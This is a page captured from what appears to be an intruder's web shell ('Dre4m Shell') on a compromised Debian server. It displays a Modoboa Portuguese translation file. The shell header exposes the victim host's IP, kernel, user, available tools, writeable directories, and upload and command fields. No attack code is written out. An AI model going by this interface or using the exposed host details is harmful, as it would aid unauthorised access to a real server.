Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.219.182.130
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib/python3.5/site-packages/modoboa/locale/pt_PT/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib/python3.5/site-packages/modoboa/locale/pt_PT/LC_MESSAGES/django.po
# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
# This file is distributed under the same license as the PACKAGE package.
#
# Translators:
# Damien Duponchelle <dduponchelle@gmail.com>, 2013
# lusitan <lusitan@hushmail.com>, 2013
# Mike C. <miguelmclara@gmail.com>, 2012
# Mike C. <miguelmclara@gmail.com>, 2013-2014
# Sandra Ribeiro <sandrarib@gmail.com>, 2012-2013
# Sandra Ribeiro <sandrarib@gmail.com>, 2012
msgid ""
msgstr ""
"Project-Id-Version: Modoboa\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2020-05-06 13:15+0200\n"
"PO-Revision-Date: 2014-12-29 12:51+0000\n"
"Last-Translator: Mike C. <miguelmclara@gmail.com>\n"
"Language-Team: Portuguese (Portugal) (http://www.transifex.com/projects/p/"
"modoboa/language/pt_PT/)\n"
"Language: pt_PT\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

#: core/app_settings.py:26
#, fuzzy
#| msgid "Profile"
msgid "User profile"
msgstr "Perfil"

#: core/app_settings.py:39
msgid "Authentication"
msgstr "Autenticação"

#: core/app_settings.py:42
msgid "Authentication type"
msgstr "Tipo de autenticação"

#: core/app_settings.py:43
msgid "Local"
msgstr "Local"

#: core/app_settings.py:46
msgid "The backend used for authentication"
msgstr "Backend usado para autenticação"

#: core/app_settings.py:51
msgid "Default password scheme"
msgstr "Esquema pré-definido para passwords"

#: core/app_settings.py:56
msgid "Scheme used to crypt mailbox passwords"
msgstr "Esquema usado para encriptar as passwords das caixas de correio"

#: core/app_settings.py:60
msgid "Rounds"
msgstr ""

#: core/app_settings.py:63
msgid ""
"Number of rounds to use (only used by sha256crypt and sha512crypt). Must be "
"between 1000 and 999999999, inclusive."
msgstr ""

#: core/app_settings.py:69
#, fuzzy
#| msgid "Default password scheme"
msgid "Update password scheme at login"
msgstr "Esquema pré-definido para passwords"

#: core/app_settings.py:72
msgid "Update user password at login to use the default password scheme"
msgstr ""

#: core/app_settings.py:77
#, fuzzy
#| msgid "Default password scheme"
msgid "Default password"
msgstr "Esquema pré-definido para passwords"

#: core/app_settings.py:80
msgid "Default password for automatically created accounts."
msgstr ""

#: core/app_settings.py:84
#, fuzzy
#| msgid "Bind password"
msgid "Random password length"
msgstr "Password para bind"

#: core/app_settings.py:88
msgid "Length of randomly generated passwords."
msgstr ""

#: core/app_settings.py:92
#, fuzzy
#| msgid "Default password scheme"
msgid "Update password service URL"
msgstr "Esquema pré-definido para passwords"

#: core/app_settings.py:96
msgid ""
"The URL of an external page where users will be able to update their "
"password. It applies only to non local users, ie. those automatically "
"created after a successful external authentication (LDAP, SMTP)."
msgstr ""

#: core/app_settings.py:104
msgid "Password recovery announcement"
msgstr ""

#: core/app_settings.py:109
msgid "A temporary message that will be displayed on the reset password page."
msgstr ""

#: core/app_settings.py:115
msgid "Enable password recovery by SMS"
msgstr ""

#: core/app_settings.py:118
msgid "Enable password recovery by SMS for users who filled a phone number."
msgstr ""

#: core/app_settings.py:124
msgid "SMS provider"
msgstr ""

#: core/app_settings.py:127
msgid "Choose a provider to send password recovery SMS"
msgstr ""

#: core/app_settings.py:133
msgid "LDAP settings"
msgstr "Definições do serviço de directório"

#: core/app_settings.py:136
msgid "Server address"
msgstr "Endereço do Servidor"

#: core/app_settings.py:139
msgid "The IP address or the DNS name of the LDAP server"
msgstr "O endereço IP do servidor de DNS do servidor LDAP"

#: core/app_settings.py:143
msgid "Server port"
msgstr "Porta do Servidor"

#: core/app_settings.py:145
msgid "The TCP port number used by the LDAP server"
msgstr " A porta TCP usada pelo servidor LDAP"

#: core/app_settings.py:149
msgid "Enable secondary server (fallback)"
msgstr ""

#: core/app_settings.py:152
msgid ""
"Enable a secondary LDAP server which will be used if the primary one fails"
msgstr ""

#: core/app_settings.py:158
#, fuzzy
#| msgid "Server address"
msgid "Secondary server address"
msgstr "Endereço do Servidor"

#: core/app_settings.py:161
#, fuzzy
#| msgid "The IP address or the DNS name of the LDAP server"
msgid "The IP address or the DNS name of the seondary LDAP server"
msgstr "O endereço IP do servidor de DNS do servidor LDAP"

#: core/app_settings.py:165
#, fuzzy
#| msgid "Server port"
msgid "Secondary server port"
msgstr "Porta do Servidor"

#: core/app_settings.py:168
#, fuzzy
#| msgid "The TCP port number used by the LDAP server"
msgid "The TCP port number used by the LDAP secondary server"
msgstr " A porta TCP usada pelo servidor LDAP"

#: core/app_settings.py:172
msgid "Use a secured connection"
msgstr "Utilizar uma ligação segura"

#: core/app_settings.py:176
#, fuzzy
#| msgid "Use an SSL/TLS connection to access the LDAP server"
msgid "Use an SSL/STARTTLS connection to access the LDAP server"
msgstr "Usar SSL/TLS na ligaçao de acesso ao servidor LDAP"

#: core/app_settings.py:180
msgid "Active Directory"
msgstr "Active Directory"

#: core/app_settings.py:183
msgid "Tell if the LDAP server is an Active Directory one"
msgstr "Especificar se o servidor LDAP e um Active Directory"

#: core/app_settings.py:187
msgid "Administrator groups"
msgstr "Grupos de Administrador"

#: core/app_settings.py:190
msgid ""
"Members of those LDAP Posix groups will be created as domain administrators. "
"Use ';' characters to separate groups."
msgstr ""
"Os membros destes grupos \"LDAP Posix\" serão criados como administradores "
"de domínio. Use ';' para separar os grupos."

#: core/app_settings.py:197
#, fuzzy
#| msgid "Group name"
msgid "Group type"
msgstr "Nome do grupo"

#: core/app_settings.py:201
msgid "The LDAP group type to use with your directory."
msgstr ""

#: core/app_settings.py:206
msgid "Groups search base"
msgstr "Base para pesquisa de Grupos"

#: core/app_settings.py:209
msgid "The distinguished name of the search base used to find groups"
msgstr "O nome único para a base de pesquisa, usado para encontrar grupos"

#: core/app_settings.py:215
msgid "Password attribute"
msgstr "Atributo de palavra-passe"

#: core/app_settings.py:217
msgid "The attribute used to store user passwords"
msgstr "O atributo utilizado para armazenar palavras-passe"

#: core/app_settings.py:222
#, fuzzy
#| msgid "Authentication method"
msgid "LDAP authentication settings"
msgstr "Método de autenticação"

#: core/app_settings.py:225
msgid "Authentication method"
msgstr "Método de autenticação"

#: core/app_settings.py:226
msgid "Search and bind"
msgstr "Procurar e vincular (bind)"

#: core/app_settings.py:227
msgid "Direct bind"
msgstr "\"Direct bind\""

#: core/app_settings.py:229
msgid "Choose the authentication method to use"
msgstr "Escolher o método de autenticação"

#: core/app_settings.py:233 core/app_settings.py:287
msgid "Bind DN"
msgstr "\"Bind DN\""

#: core/app_settings.py:236 core/app_settings.py:290
msgid ""
"The distinguished name to use when binding to the LDAP server. Leave empty "
"for an anonymous bind"
msgstr ""
"O nome único  usado para fazer o \"bind\" ao servidor LDAP. Deixar vario "
"para \"bind\" anónimo"

#: core/app_settings.py:243 core/app_settings.py:297
msgid "Bind password"
msgstr "Password para bind"

#: core/app_settings.py:246 core/app_settings.py:300
msgid "The password to use when binding to the LDAP server (with 'Bind DN')"
msgstr ""
"A password usada para fazer o \"bind\" ao servidor LDAP (com 'Bind DN')"

#: core/app_settings.py:254 core/app_settings.py:346
msgid "Users search base"
msgstr "Base para pesquisa de utilizadores"

#: core/app_settings.py:257 core/app_settings.py:349
msgid "The distinguished name of the search base used to find users"
msgstr "O nome único a usar para pesquisa de utilizadores"

#: core/app_settings.py:263 core/app_settings.py:355
msgid "Search filter"
msgstr "Filtro de pesquisa"

#: core/app_settings.py:266 core/app_settings.py:358
msgid ""
"An optional filter string (e.g. '(objectClass=person)'). In order to be "
"valid, it must be enclosed in parentheses."
msgstr ""
"Um filtro opcional (ex: '(objetClass=person)'). Tem de estar entre "
"parênteses para ser válido"

#: core/app_settings.py:273
msgid "User DN template"
msgstr "Template DN de utilizador"

#: core/app_settings.py:276
#, python-format
msgid ""
"The template used to construct a user's DN. It should contain one "
"placeholder (ie. %(user)s)"
msgstr ""
"O template usado para construir o DN (nome único). Deve apenas conter um "
"'placeholder' (ex: %(user)s) "

#: core/app_settings.py:284
#, fuzzy
#| msgid "LDAP settings"
msgid "LDAP synchronization settings"
msgstr "Definições do serviço de directório"

#: core/app_settings.py:308
msgid "Enable export to LDAP"
msgstr ""

#: core/app_settings.py:311
msgid ""
"Enable automatic synchronization between local database and LDAP directory"
msgstr ""

#: core/app_settings.py:317
msgid "Delete remote LDAP account when local account is deleted"
msgstr ""

#: core/app_settings.py:321
msgid ""
"Delete remote LDAP account when local account is deleted, otherwise it will "
"be disabled."
msgstr ""

#: core/app_settings.py:327
#, fuzzy
#| msgid "User DN template"
msgid "Account DN template"
msgstr "Template DN de utilizador"

#: core/app_settings.py:330
#, fuzzy, python-format
#| msgid ""
#| "The template used to construct a user's DN. It should contain one "
#| "placeholder (ie. %(user)s)"
msgid ""
"The template used to construct an account's DN. It should contain one "
"placeholder (ie. %(user)s)"
msgstr ""
"O template usado para construir o DN (nome único). Deve apenas conter um "
"'placeholder' (ex: %(user)s) "

#: core/app_settings.py:337
msgid "Enable import from LDAP"
msgstr ""

#: core/app_settings.py:340
msgid "Enable account synchronization from LDAP directory to local database"
msgstr ""

#: core/app_settings.py:365
#, fuzzy
#| msgid "Password attribute"
msgid "Username attribute"
msgstr "Atributo de palavra-passe"

#: core/app_settings.py:368
msgid "The name of the LDAP attribute where the username can be found."
msgstr ""

#: core/app_settings.py:373
msgid "Enable Dovecot LDAP sync"
msgstr ""

#: core/app_settings.py:376
msgid "LDAP authentication settings will be applied to Dovecot configuration."
msgstr ""

#: core/app_settings.py:382
msgid "Dovecot LDAP config file"
msgstr ""

#: core/app_settings.py:386
msgid ""
"Location of the configuration file which contains Dovecot LDAP settings."
msgstr ""

#: core/app_settings.py:391 core/templates/core/dashboard.html:5
msgid "Dashboard"
msgstr ""

#: core/app_settings.py:394
msgid "Custom RSS feed"
msgstr ""

#: core/app_settings.py:397
msgid "Display custom RSS feed to resellers and domain administrators"
msgstr ""

#: core/app_settings.py:402
msgid "Hide features widget"
msgstr ""

#: core/app_settings.py:405
msgid "Hide features widget for resellers and domain administrators"
msgstr ""

#: core/app_settings.py:409
#, fuzzy
#| msgid "Authentication"
msgid "Notifications"
msgstr "Autenticação"

#: core/app_settings.py:412
#, fuzzy
#| msgid "Server address"
msgid "Sender address"
msgstr "Endereço do Servidor"

#: core/app_settings.py:415
msgid "Email address used to send notifications."
msgstr ""

#: core/app_settings.py:419
msgid "Public API"
msgstr ""

#: core/app_settings.py:422
msgid "Enable communication"
msgstr ""

#: core/app_settings.py:425
msgid "Enable communication with Modoboa public API"
msgstr ""

#: core/app_settings.py:429
msgid "Check new versions"
msgstr "Procurar novas versões"

#: core/app_settings.py:432
msgid "Automatically checks if a newer version is available"
msgstr "Verifica automaticamente se existem novas versões"

#: core/app_settings.py:436
msgid "Send an email when new versions are found"
msgstr ""

#: core/app_settings.py:439
msgid "Send an email to notify admins about new versions"
msgstr ""

#: core/app_settings.py:443
msgid "Recipient"
msgstr ""

#: core/app_settings.py:446
msgid "Recipient of new versions notification emails."
msgstr ""

#: core/app_settings.py:451
msgid "Send statistics"
msgstr ""

#: core/app_settings.py:454
msgid "Send statistics to Modoboa public API (counters and used extensions)"
msgstr ""

#: core/app_settings.py:458
msgid "Miscellaneous"
msgstr "Vários"

#: core/app_settings.py:461
msgid "Inactive account threshold"
msgstr ""

#: core/app_settings.py:464
msgid ""
"An account with a last login date greater than this threshold (in days) will "
"be considered as inactive"
msgstr ""

#: core/app_settings.py:470
msgid "Top notifications check interval"
msgstr "Intervalo de tempo para verificar notificações (no topo)"

#: core/app_settings.py:473
#, fuzzy
#| msgid "Interval between two top notification checks"
msgid "Interval between two top notification checks (in seconds)"
msgstr "Intervalo de tempo de verificação entre duas notificações (no topo)"

#: core/app_settings.py:478
msgid "Maximum log record age"
msgstr "Idade máxima do registo no log"

#: core/app_settings.py:480
msgid "The maximum age in days of a log record"
msgstr "A idade maxima do registo de um log, em dias, e de"

#: core/app_settings.py:484
msgid "Items per page"
msgstr "Itens por página"

#: core/app_settings.py:486
msgid "Number of displayed items per page"
msgstr "Número de itens apresentados por página"

#: core/app_settings.py:490
msgid "Default top redirection"
msgstr "Redirecionamento pré-definido"

#: core/app_settings.py:494
msgid "The default redirection used when no application is specified"
msgstr ""
"O redirecionamento padrão usado quando nenhuma aplicação se encontra "
"especificada"

#: core/app_settings.py:548 core/app_settings.py:556 core/app_settings.py:564
msgid "Invalid syntax"
msgstr "Sintax inválida"

#: core/app_settings.py:570
msgid "Invalid rounds number"
msgstr "Número de linhas inválido"

#: core/app_settings.py:595 core/app_settings.py:597 core/app_settings.py:608
msgid "This field is required"
msgstr "Este campo é obrigatório"

#: core/apps.py:18
msgid "General"
msgstr "Geral"

#: core/checks/settings_checks.py:6
msgid ""
"You have USE_TZ set to False, this may result in issues during transitions "
"between summer/winter time (ie the same local time occuring twice due to "
"clock change)."
msgstr ""

#: core/checks/settings_checks.py:9
msgid "Set `USE_TZ = True` in settings.py"
msgstr ""

#: core/constants.py:6
msgid "Simple user"
msgstr "Utilizador simples"

#: core/constants.py:7
#, fuzzy
#| msgid "Super administrator"
msgid "Domain administrator"
msgstr "Super Administrador"

#: core/constants.py:8
msgid "Reseller"
msgstr ""

#: core/constants.py:9
msgid "Super administrator"
msgstr "Super Administrador"

#: core/constants.py:52 lib/form_utils.py:389
msgid "No"
msgstr "Não"

#: core/constants.py:102
msgid "Choose a provider"
msgstr ""

#: core/constants.py:107
msgid "Dummy"
msgstr ""

#: core/forms.py:21
msgid "Username"
msgstr "Nome de Utilizador"

#: core/forms.py:25
msgid "Password"
msgstr "Password"

#: core/forms.py:38
msgid "Old password"
msgstr "Password antiga"

#: core/forms.py:42
msgid "New password"
msgstr "Nova password"

#: core/forms.py:46
msgid "Confirmation"
msgstr "Confirmação"

#: core/forms.py:74
msgid "Old password mismatchs"
msgstr "Incompatibilidade da password antiga"

#: core/forms.py:83
msgid "Passwords mismatch"
msgstr "Passwords não coincidem"

#: core/forms.py:103
msgid "Enable API access"
msgstr ""

#: core/forms.py:137
#, fuzzy
#| msgid "Authentication"
msgid "Verification code"
msgstr "Autenticação"

#: core/forms.py:148
#, fuzzy
#| msgid "Invalid line"
msgid "Invalid code"
msgstr "Linha inválida"

#: core/handlers.py:36
msgid "added"
msgstr "acrescentado"

#: core/handlers.py:39
msgid "modified"
msgstr "modificado"

#: core/handlers.py:41
#, python-format
msgid "%(object)s '%(name)s' %(action)s by user %(user)s"
msgstr "%(object)s '%(name)s' %(action)s pelo utilizador %(user)s"

#: core/handlers.py:63
#, fuzzy, python-format
#| msgid "%(object)s '%(name)s' %(action)s by user %(user)s"
msgid "%(object)s '%(name)s' %(action)s by "
msgstr "%(object)s '%(name)s' %(action)s pelo utilizador %(user)s"

#: core/handlers.py:65
msgid "deleted"
msgstr "apagado"

#: core/handlers.py:69
msgid "user {}"
msgstr ""

#: core/handlers.py:71
msgid "management command"
msgstr ""

#: core/handlers.py:95
msgid "You can't delete your own account"
msgstr "Não pode apagar a sua própria conta"

#: core/handlers.py:131
#, fuzzy
#| msgid "An update is available!"
msgid "One or more updates are available"
msgstr "Uma nova versão está disponível!"

#: core/management/commands/communicate_with_public_api.py:44
#, fuzzy
#| msgid "An update is available!"
msgid "[modoboa] Update(s) available"
msgstr "Uma nova versão está disponível!"

#: core/models.py:55
msgid "Allow mailboxes access"
msgstr ""

#: core/models.py:57
msgid "Allow this administrator to access user mailboxes"
msgstr ""

#: core/models.py:60
msgid "password"
msgstr "password"

#: core/models.py:63
#, fuzzy
#| msgid "Prefered language"
msgid "language"
msgstr "Idioma preferido"

#: core/models.py:66
#, fuzzy
#| msgid "Prefered language to display pages"
msgid "Prefered language to display pages."
msgstr "Idioma preferido para exibir páginas"

#: core/models.py:70
msgid "Phone number"
msgstr ""

#: core/models.py:72
msgid "Secondary email"
msgstr ""

#: core/models.py:75
msgid "An alternative e-mail address, can be used for recovery needs."
msgstr ""

#: core/models.py:126
msgid "Failed to update password: LDAP module not installed"
msgstr "Falha ao actualizar password: Modulo  LDAP não instalado"

#: core/models.py:155
msgid "account"
msgstr "conta"

#: core/models.py:282
msgid "Unknown"
msgstr ""

#: core/models.py:316
msgid "Invalid line"
msgstr "Linha inválida"

#: core/models.py:324
msgid "You can't import an account with a role greater than yours"
msgstr "Não é possível importa uma conta com permissões superiores"

#: core/models.py:339
#, python-format
msgid "The simple user '%s' must have a valid email address"
msgstr "O simple utilizador '%s' deve ter endereço de e-mail válido"

#: core/models.py:344
#, python-format
msgid "username and email fields must not differ for '%s'"
msgstr ""
"Os campos nome de utilizador e endereço de email não deve ser diferente para "
"'%s'"

#: core/password_validation.py:24
msgid "Password must contain at least {} digit."
msgid_plural "Password must contain at least {} digits."
msgstr[0] ""
msgstr[1] ""

#: core/password_validation.py:34
msgid "Password must contain at least {} lowercase letter."
msgid_plural "Password must contain at least {} lowercase letters."
msgstr[0] ""
msgstr[1] ""

#: core/password_validation.py:45
msgid "Password must contain at least {} uppercase letter."
msgid_plural "Password must contain at least {} uppercase letters."
msgstr[0] ""
msgstr[1] ""

#: core/password_validation.py:57
msgid "Password must contain at least {} special character."
msgid_plural "Password must contain at least {} special characters."
msgstr[0] ""
msgstr[1] ""

#: core/password_validation.py:65
msgid "Your password must contain a combination of different character types."
msgstr ""

#: core/sms_backends/ovh.py:19
msgid "API endpoint"
msgstr ""

#: core/sms_backends/ovh.py:22
msgid "OVH Europe"
msgstr ""

#: core/sms_backends/ovh.py:23
msgid "OVH US"
msgstr ""

#: core/sms_backends/ovh.py:24
msgid "OVH North-America"
msgstr ""

#: core/sms_backends/ovh.py:25
msgid "So you Start Europe"
msgstr ""

#: core/sms_backends/ovh.py:26
msgid "So you Start North America"
msgstr ""

#: core/sms_backends/ovh.py:27
msgid "Kimsufi Europe"
msgstr ""

#: core/sms_backends/ovh.py:28
msgid "Kimsufi North America"
msgstr ""

#: core/sms_backends/ovh.py:35
#, fuzzy
#| msgid "Authentication"
msgid "Application key"
msgstr "Autenticação"

#: core/sms_backends/ovh.py:42
#, fuzzy
#| msgid "Authentication"
msgid "Application secret"
msgstr "Autenticação"

#: core/sms_backends/ovh.py:50
msgid "Consumer key"
msgstr ""

#: core/templates/core/_current_features.html:6
msgid "Features looking for sponsoring"
msgstr ""

#: core/templates/core/_current_features.html:12
msgid "Goal:"
msgstr ""

#: core/templates/core/_current_features.html:18
msgid "More"
msgstr ""

#: core/templates/core/_current_features.html:22
msgid "Nothing to sponsor yet."
msgstr ""

#: core/templates/core/_latest_news_widget.html:5
msgid "Latest news"
msgstr ""

#: core/templates/core/_latest_news_widget.html:19
msgid ""
"Visit the <a href=\"https://modoboa.org/blog/\" target=\"_blank\">official "
"weblog</a> for more information."
msgstr ""

#: core/templates/core/api_access.html:3
msgid "API access"
msgstr ""

#: core/templates/core/api_access.html:3
msgid "Control your access to Modoboa API"
msgstr ""

#: core/templates/core/api_access.html:7
#, python-format
msgid ""
"A documentation of the API is available <strong><a href=\"%(url)s\" target="
"\"_blank\">here</a></strong>."
msgstr ""

#: core/templates/core/api_access.html:14
msgid "API access token"
msgstr ""

#: core/templates/core/api_access.html:35
#: core/templates/core/user_profile.html:19 lib/form_utils.py:354
msgid "Update"
msgstr "Actualizar"

#: core/templates/core/dashboard.html:11
#, python-format
msgid "Hello %(user)s."
msgstr ""

#: core/templates/core/information.html:2 core/templatetags/core_tags.py:62
msgid "Information"
msgstr "Informação"

#: core/templates/core/information.html:2
msgid "Various information about Modoboa"
msgstr "Informações variadas sobre Modoboa"

#: core/templates/core/information.html:5
#, fuzzy
#| msgid "An update is available!"
msgid "One or more updates are available!"
msgstr "Uma nova versão está disponível!"

#: core/templates/core/information.html:6
msgid "Check the following list to find the component(s) that can be updated."
msgstr ""

#: core/templates/core/information.html:10
#, fuzzy
#| msgid "Authentication"
msgid "Applications"
msgstr "Autenticação"

#: core/templates/core/information.html:14
#: core/templates/core/information.html:36
msgid "Name"
msgstr "Nome"

#: core/templates/core/information.html:15
msgid "Installed version"
msgstr ""

#: core/templates/core/information.html:16
#, fuzzy
#| msgid "Last login"
msgid "Last version"
msgstr "Último login"

#: core/templates/core/information.html:17
msgid "Description"
msgstr "Descrição"

#: core/templates/core/information.html:32
msgid "Active users"
msgstr "Utilizadores ativos"

#: core/templates/core/information.html:37
msgid "Role"
msgstr ""

#: core/templates/core/information.html:38
msgid "Last login"
msgstr "Último login"

#: core/templates/core/logs.html:2 core/templatetags/core_tags.py:66
msgid "Logs"
msgstr "Logs"

#: core/templates/core/logs.html:2
msgid "Previously on Modoboa..."
msgstr "Anteriormente no Modoboa..."

#: core/templates/core/logs.html:6 lib/templatetags/lib_tags.py:106
msgid "Date"
msgstr "Data"

#: core/templates/core/logs.html:7
msgid "Level"
msgstr "Nível"

#: core/templates/core/logs.html:8
msgid "Logger"
msgstr "Logger"

#: core/templates/core/logs.html:9
msgid "Message"
msgstr "Mensagem"

#: core/templates/core/notifications/update_available.html:3
#, fuzzy
#| msgid "An update is available!"
msgid ""
"\n"
"  The following update is available:\n"
msgid_plural ""
"\n"
"  The following updates are available:\n"
msgstr[0] "Uma nova versão está disponível!"
msgstr[1] "Uma nova versão está disponível!"

#: core/templates/core/parameters.html:2 core/templatetags/core_tags.py:71
msgid "Parameters"
msgstr "Parâmetros"

#: core/templates/core/parameters.html:2
msgid "Configure Modoboa"
msgstr "Configurar Modoboa"

#: core/templates/core/parameters.html:6
#: core/templates/core/user_preferences.html:10
msgid "Save"
msgstr "Guardar"

#: core/templates/core/settings_header.html:5
msgid "Modoboa settings"
msgstr "Definições do Modoboa"

#: core/templates/core/user_index.html:4 core/templatetags/core_tags.py:90
msgid "Settings"
msgstr "Definições"

#: core/templates/core/user_preferences.html:2
#: core/templatetags/core_tags.py:120
msgid "Preferences"
msgstr "Preferências"

#: core/templates/core/user_preferences.html:2
msgid "Customize Modoboa"
msgstr "Personalizar Modoboa"

#: core/templates/core/user_preferences.html:14
#, fuzzy
#| msgid "Preferences saved"
msgid "No preferences available."
msgstr "Preferências salvas"

#: core/templates/core/user_profile.html:3 core/templatetags/core_tags.py:116
msgid "Profile"
msgstr "Perfil"

#: core/templates/core/user_profile.html:3
msgid "Update your personal information"
msgstr "Atualizar o sua informação pessoal"

#: core/templates/core/user_profile.html:13
#, fuzzy
#| msgid "Failed to update password: %s"
msgid "Click here to update your password"
msgstr "Falha ao actualizar a password: %s"

#: core/templatetags/core_tags.py:34
msgid "Modoboa"
msgstr "Modoboa"

#: core/templatetags/core_tags.py:102
msgid "Logout"
msgstr "Sair"

#: core/templatetags/core_tags.py:127
msgid "API"
msgstr ""

#: core/utils.py:32
#, fuzzy
#| msgid "Welcome to Modoboa"
msgid "The core part of Modoboa"
msgstr "Benvindo ao Modoboa"

#: core/views/admin.py:43
msgid "Parameters saved"
msgstr "Parâmetros salvos"

#: core/views/auth.py:59
#, python-format
msgid "Password scheme mismatch. Updating %s password"
msgstr ""

#: core/views/auth.py:66
#, python-format
msgid "Password hash parameter missmatch. Updating %s password"
msgstr ""

#: core/views/auth.py:82
#, python-format
msgid "User '%s' successfully logged in"
msgstr "O utilizador '%s' fez login com sucesso"

#: core/views/auth.py:90
msgid "Your username and password didn't match. Please try again."
msgstr "O seu nome de utilizador"

#: core/views/auth.py:125
#, fuzzy
#| msgid "User '%s' successfully logged in"
msgid "User '{}' successfully logged out"
msgstr "O utilizador '%s' fez login com sucesso"

#: core/views/auth.py:170 core/views/auth.py:225
msgid "Please use the following code to recover your Modoboa password: {}"
msgstr ""

#: core/views/user.py:53
msgid "Profile updated"
msgstr "Perfil atualizado"

#: core/views/user.py:81
msgid "Preferences saved"
msgstr "Preferências salvas"

#: core/views/user.py:103
#, fuzzy
#| msgid "Profile updated"
msgid "Access updated"
msgstr "Perfil atualizado"

#: lib/db_utils.py:23
#, python-format
msgid "Connection to database %s not configured"
msgstr "A ligação à base de dados %s não está devidamente configurada"

#: lib/email_utils.py:141 lib/email_utils.py:360
msgid "unable to determine encoding of string"
msgstr ""

#: lib/exceptions.py:67
#, python-format
msgid "Permission denied: %s"
msgstr "Acesso negado: %s"

#: lib/exceptions.py:68
msgid "Permission denied"
msgstr "Acesso negado"

#: lib/fields.py:15 lib/validators.py:14
msgid "Enter a valid domain name"
msgstr "Introduzir um nome de domínio válido "

#: lib/fields.py:44 lib/fields.py:58
#, fuzzy
#| msgid "Enter a valid domain name"
msgid "Enter a valid email address."
msgstr "Introduzir um nome de domínio válido "

#: lib/form_utils.py:77 templates/registration/password_reset_confirm.html:12
#: templates/registration/password_reset_confirm_code.html:25
#: templates/registration/password_reset_form.html:29
msgid "Submit"
msgstr "Enviar"

#: lib/form_utils.py:110 lib/form_utils.py:113
msgid "Invalid request"
msgstr "Pedido inválido"

#: lib/form_utils.py:388
msgid "Yes"
msgstr "Sim"

#: lib/ldap_utils.py:129
#, fuzzy
#| msgid "Failed to update password: %s"
msgid "Failed to update password: {}"
msgstr "Falha ao actualizar a password: %s"

#: lib/templatetags/lib_tags.py:104
msgid "From"
msgstr ""

#: lib/templatetags/lib_tags.py:105
msgid "To"
msgstr ""

#: lib/templatetags/lib_tags.py:107 templates/common/email_searchbar.html:17
msgid "Subject"
msgstr "Assunto"

#: templates/404.html:4 templates/500.html:4
msgid "Sorry"
msgstr "Lamentamos"

#: templates/404.html:5
msgid "The requested page does not exist."
msgstr "A página solicitada não existe."

#: templates/500.html:5
msgid "An internal error occured."
msgstr "Ocorreu um erro interno."

#: templates/common/email_searchbar.html:5
msgid "Search..."
msgstr "Procurar..."

#: templates/common/email_searchbar.html:10
msgid "From address"
msgstr "Do endereço"

#: templates/common/email_searchbar.html:33
msgid "Both"
msgstr "Ambos"

#: templates/common/error.html:4
msgid "Error:"
msgstr "Erro:"

#: templates/common/generic_field.html:11
#: templates/common/generic_fields_group.html:8
msgid "Help:"
msgstr "Ajuda:"

#: templates/common/generic_modal.html:6 templates/common/generic_modal.html:13
#: templates/common/wizard_forms.html:6 templates/common/wizard_forms.html:27
msgid "Close"
msgstr "Fechar"

#: templates/common/wizard_forms.html:31
msgid "Previous"
msgstr "Anterior"

#: templates/common/wizard_forms.html:32
msgid "Next"
msgstr "Seguinte"

#: templates/registration/base.html:8
msgid "Welcome to Modoboa"
msgstr "Benvindo ao Modoboa"

#: templates/registration/login.html:21
msgid "Remember me"
msgstr "Lembrar-me"

#: templates/registration/login.html:23
msgid "Log in"
msgstr "Entrar"

#: templates/registration/login.html:24
#: templates/registration/password_reset_form.html:17
#, fuzzy
#| msgid "password"
msgid "Forgot password?"
msgstr "password"

#: templates/registration/password_reset_complete.html:8
#, python-format
msgid ""
"Your password has been set. You may go ahead and <a href=\"%(url)s\">sign "
"in</a> now."
msgstr ""

#: templates/registration/password_reset_confirm.html:7
#, fuzzy
#| msgid "New password"
msgid "Change password"
msgstr "Nova password"

#: templates/registration/password_reset_confirm.html:17
msgid ""
"The password reset link was invalid, possibly because it has already been "
"used. Please request a new password reset."
msgstr ""

#: templates/registration/password_reset_confirm_code.html:20
msgid "Enter the code you've just received by SMS"
msgstr ""

#: templates/registration/password_reset_confirm_code.html:27
msgid "Resend code"
msgstr ""

#: templates/registration/password_reset_done.html:7
msgid ""
"<p>We've emailed you instructions for setting your password, if an account "
"exists with the email you entered. You should receive them shortly.</p> "
"<p>If you don't receive an email, please make sure you've entered your "
"primary address, and check your spam folder.</p>"
msgstr ""

#: templates/registration/password_reset_email.html:4
#, python-format
msgid ""
"To initiate the password reset process for your %(username)s Modoboa "
"account, click the link below:"
msgstr ""

#: templates/registration/password_reset_email.html:10
msgid ""
"If clicking the link above doesn't work, please copy and paste the URL in a "
"new browser window instead."
msgstr ""

#: templates/registration/password_reset_email.html:14
msgid "Sincerely, The Modoboa Team."
msgstr ""

#: templates/registration/password_reset_form.html:24
msgid "Please fill-in your primary email address"
msgstr ""

#: templates/registration/password_reset_subject.txt:3
msgid "Modoboa password reset"
msgstr ""

#~ msgid "md5crypt (weak)"
#~ msgstr "md5crypt (fraco)"

#~ msgid "sha256 (weak)"
#~ msgstr "sha256 (fraco)"

#~ msgid "md5 (weak)"
#~ msgstr "md5 (fraco)"

#~ msgid "crypt (weak)"
#~ msgstr "crypt (fraco)"

#~ msgid "plain (weak)"
#~ msgstr "plain (fraco)"

#~ msgid "Secret key"
#~ msgstr "Chave secreta"

#~ msgid "Key used to encrypt/decrypt passwords"
#~ msgstr "Chave usada para encriptar/desencriptar passwords"

#~ msgid "Key must be either 16, 24, or 32 bytes long"
